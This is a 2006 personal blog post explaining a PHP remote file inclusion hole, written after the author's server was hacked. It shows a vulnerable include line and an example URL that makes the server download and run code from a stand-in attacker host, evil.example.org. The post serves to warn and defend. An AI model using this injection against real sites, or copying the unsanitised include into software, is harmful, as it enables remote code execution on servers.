• Home
  • About

szehau's weblog

Life, Internet, Software, Gadgets, Programming and Investments

  • life log
  • internet
  • programming
  • software
  • working holiday
  • gadget
  • project

PHP security problem

February 15, 2006 00:00 by Sze Hau 1 Comment

I just knew this problem a month ago when one of my friend’s website on my server being hacked and installed a background program. The background program generate huge and useless image and movie files at server.

After hours of inspection at my server, I found the background progam ran under apche’s process. The background program called “footer.gif”. Smart huh? They name the background program as a image file’s name so that people can’t find it.

Actually it is not a bug of security bug in php. It is the problem of open source and careless of the programmer.

The problem occur when your php scripts have code like this:

// example.php
include "$path/script.php";

The page can be requested with http://yourdomain/example.php?page=http%3A%2F%2Fevil.example.org%2F%3F and the script will run as:

// example.php
include "http://evil.example.org/?/script.php";

What will happen then? Your php script will download the code from “http://evil.example.org/?/script.php” and run it as local php file. This is pretty dangerous because the url above can return any malicious code that can harm your server including compile a C program, delete files, scan and read personal data from you server directory and etc.

For more information and solution, you can check the site PHP Security Consortium.

So, if you are using open source script, please make sure they have fixed the security hole mentioned above. And always use the latest stable version of script. It will be more safe if you are you using your own code because nobody will know what are variable names that you are using in your scripts.

Some of the open source php scripts that have this problem:

  • WordPress 1.5.2 – Please upgrade to 1.5.3 or above
  • Plogger Beta 2 – Please upgrade to 2.1

More from my site

  • iPhone 5 is coming to Malaysia – This 14th DecemberiPhone 5 is coming to Malaysia – This 14th December
  • Finally back in Google Search ResultsFinally back in Google Search Results
  • TurboDbAdminTurboDbAdmin
  • Whose bugsWhose bugs
  • Warcraft Tower Defense – Flash VersionWarcraft Tower Defense – Flash Version
  • Google-ingGoogle-ing

Filed Under: programming

About Sze Hau

Geek. Love programming. Coffee addicted. Married with a child. Working towards financial freedom.

Comments

  1. Han Shyong says

    February 15, 2006 01:23 at 1:23 am

    This what the stupid style they used to attack my space,….waste lot time to check it out…

    Reply

Leave a Reply Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Email News Letter

Sign up to receive updates daily and to hear what's going on with us

  • Facebook
  • Google+
  • Instagram
  • Twitter

More Posts

5 Essential Things You Need To Have At Your Home During The COVID-19 Pandemic

June 1, 2021 22:15 By Sze Hau Leave a Comment

LED Downlight

Troubleshooting A Flickering LED Downlight

February 13, 2016 00:29 By Sze Hau Leave a Comment

Repair A Broken iPhone Lightning Cable

January 30, 2016 00:54 By Sze Hau Leave a Comment

Sponsored Links

Blog Network

  • Personal Fincance Personal Finance – Personal Money Tips, Stock Investment, Small Business and Make Money Online
  • Snippet IT Information technology news, ideas and experiences and opinions

szehau’s weblog

szehau is a software programmer that has strong interest in the world of programming and Internet. He is graduated in University of Malaya, Malaysia with a Bachelor’s degree in Software Engineering. He draws on his passsion for web programming to share with others how to build a successful websites.

Recent

  • 5 Essential Things You Need To Have At Your Home During The COVID-19 Pandemic
  • Troubleshooting A Flickering LED Downlight
  • Repair A Broken iPhone Lightning Cable
  • New Gadget – MacBook Pro with Retina Display (2015)
  • One Watt LED Night Light

Search

Tags

adsense advertisement baby blog blogtal Canon EOS 400D Chinese New Year Christchurch CNY DiGi electronic Facebook FBM Flickr Flickr Uploadr Google Google Maps Google Search Results Google Webmaster Central H1N1 income tax investment joke KLCI KLSE Lake Tekapo Maxis Maybank2u Motueka movie mutual funds New Zealand PC Fair 2009 Queenstown restaurant for dinner sharing stock trackback travel Twitter unit trust visa wordpress wordpress plugin working holiday

Copyright © 2025 · Magazine Pro Theme on Genesis Framework · WordPress · Log in